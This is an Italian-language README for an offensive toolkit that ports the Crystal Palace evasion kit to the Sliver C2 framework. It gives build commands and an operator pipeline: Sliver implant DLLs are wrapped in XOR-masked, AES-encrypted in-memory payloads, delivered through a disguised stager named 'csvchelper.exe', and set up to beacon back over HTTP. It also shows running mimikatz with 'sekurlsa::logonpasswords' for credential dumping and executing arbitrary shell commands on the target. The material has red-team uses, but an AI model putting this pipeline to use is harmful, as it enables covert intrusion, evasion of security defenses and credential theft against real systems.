Kit di evasione Crystal Palace per Sliver
Kit di evasione Crystal Palace portato su Sliver C2.
Questo è il primo porting pubblico del Crystal-Kit di rasta-mouse (Cobalt Strike) su Sliver. Segue lo stesso schema cross-C2 già dimostrato da Crystal-Kit-Xenon (Mythic).
Sostituisce il reflective loader predefinito di Sliver e il percorso di esecuzione post-ex con Crystal Palace (Raphael Mudge, BSD). Il risultato è un blob di codice indipendente dalla posizione (PICO) che raggruppa:
LoadLibrary / GetProcAddress semplice)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryALa DLL implant di Sliver (o qualsiasi DLL post-ex) è mascherata con XOR all'interno del PICO e viene smascherata solo in memoria al momento dell'esecuzione.
La DLL implant grezza di Sliver non viene mai eseguita direttamente sul target. Invece viene avvolta con Crystal Palace in un PICO, crittografato AES-256-CBC e fornito con uno stager personalizzato (~17 KB) che lo decifra e lo esegue in memoria.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Una volta attiva una sessione, esegui DLL sensibili (ricognizione, dump di credenziali, ecc.) tramite Crystal Palace usando un'Estensione di Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Passa argomenti runtime senza ricompilare, aggiungendoli dopo |:
sliver > crystal --payload C:/path/file.pico.bin|args here
La crystal-loader.x64.dll è un'estensione DLL di Sliver che legge il blob PICO dal disco in una regione VirtualAlloc(RW), lo imposta a RX con VirtualProtect e salta all'entrypoint di Crystal Palace. Non viene mai tenuta una mappatura PAGE_EXECUTE_READWRITE. I percorsi usano barre in avanti. Il formato degli argomenti è type:string (non BOF binario). La DLL viene caricata in memoria da Sliver — non viene scritta come file sul disco target.
crystal-exec è un secondo comando incluso nella stessa estensione. Esegue comandi shell arbitrari attraverso l'evasione di Crystal Palace utilizzando un PICO incorporato direttamente nella DLL dell'estensione — nessun file PICO da caricare.
sliver > crystal-exec --cmd "whoami /all"
L'output viene restituito all'operatore tramite la sessione Sliver esistente attraverso una pipe.
crystal-kit-sliver/
├── loader/ ← Sorgenti del reflective loader (Caso d'uso A) — identici da Crystal-Kit
├── postex-loader/ ← Sorgenti del post-ex loader (Caso d'uso B) — Crystal-Kit + patch Xenon
├── libtcg.x64.zip ← Dipendenza binaria upstream (tenuta nell'albero per comodità di build)
└── sliver-glue/ ← Incollaggio di build specifico per Sliver
├── extension.json Manifest dell'estensione Sliver
├── generate.sh Avvolgi una DLL post-ex → PICO (Caso d'uso B)
├── generate-implant.sh Avvolgi una DLL di Sliver → PICO (Caso d'uso A)
├── bundle-implant.sh Raggruppa PICO + stager demo Crystal Palace in drop.zip (legacy)
├── bundle-stager.sh Crea stager personalizzato: csvchelper.exe + payload.dat (primario)
├── pack-extension.sh Impacchetta DLL + manifest in tarball Estensione Sliver
├── Makefile make objects / package / clean
├── stager/ Sorgenti dello stager personalizzato (AES-256-CBC, manifest asInvoker)
└── wrapper/ crystal-loader.c (wrapper DLL compatibile BOF)
docs/
├── RUNBOOK.md Procedura passo-passo Kali → Windows lab
├── PORTING_MAP.md Mapping file per file Crystal-Kit → questo repository + differenze letterali
└── TOOLCHAIN.md Prerequisiti di build e dettagli della pipeline
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Distribuzione Crystal Palace (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Compila tutto
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Caso d'uso A — avvolgi un implant di Sliver e crea lo stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produce build/csvchelper.exe + build/payload.dat (consegnare entrambi al target)
# 5. Caso d'uso B — avvolgi una DLL post-ex (postex.sh gestisce il nome e stampa il comando sliver)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# Con argomenti incorporati: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — ricompila l'esecutore di comandi integrato (necessario solo dopo aver modificato crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Vedi docs/RUNBOOK.md per la procedura completa dell'operatore (installazione di Sliver, configurazione del listener, esecuzione sul target, risoluzione dei problemi).